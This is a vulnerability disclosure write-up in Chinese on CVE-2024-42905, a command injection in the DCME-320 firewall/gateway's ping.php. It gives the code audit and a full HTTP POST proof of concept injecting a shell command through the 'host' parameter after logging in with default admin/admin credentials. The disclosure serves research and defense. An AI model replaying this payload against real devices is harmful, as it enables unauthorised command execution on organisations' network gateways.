一、漏洞简介
公司网站：
https://www.dcnimcloud.com/
产品简介：
DCME-320是北京神州数码云科信息技术有限公司采用MIPS多核高性能处理器，针对多用户数、多流量、多业务种类的业务需求而推出的新一代高性能互联网出口网关。
漏洞危害：
北京神州数码云科信息技术有限公司DCME-320存在命令执行漏洞，攻击者可利用该漏洞执行任意命令。
漏洞影响产品：
DCME-320 Version 7.4.12.60
分发CVE编号：
CVE-2024-42905
二、漏洞代码审计
打开防火墙源码/function/system/tool/ping.php文件，看到通过getVar函数从前端获取host、proto、count三个参数值，在25行将这三个参数拼接成cmd变量，最后将cmd变量存入data数组：
跟踪data数组，看到在109行判断data数组的cmd元素是否存在，如果存在就在119行将data数组的cmd元素传递给system函数执行系统命令。
三、漏洞复现
漏洞利用POC：
POST /function/system/tool/ping.php HTTP/1.1Host: ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 107Connection: closeCookie: cookieUpgrade-Insecure-Requests: 1Priority: u=4dcn_test_a_967=21&dcn_test_b_967=122&dcn_test_c_967=111&dcn_test_d=_967&doing=ping&host=1;ps&proto=&count=1
打开存在漏洞的设备网站：
输入账号admin密码admin登录设备，同时抓取登录成功后的请求包拿到Cookie：
发送POC执行ps命令，看到响应包返回ps命令执行结果，攻击成功。
原文始发于微信公众号（ZackSecurity）：【IoT安全】神州数码DCME-320防火墙命令执行漏洞挖掘(CVE-2024-42905)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论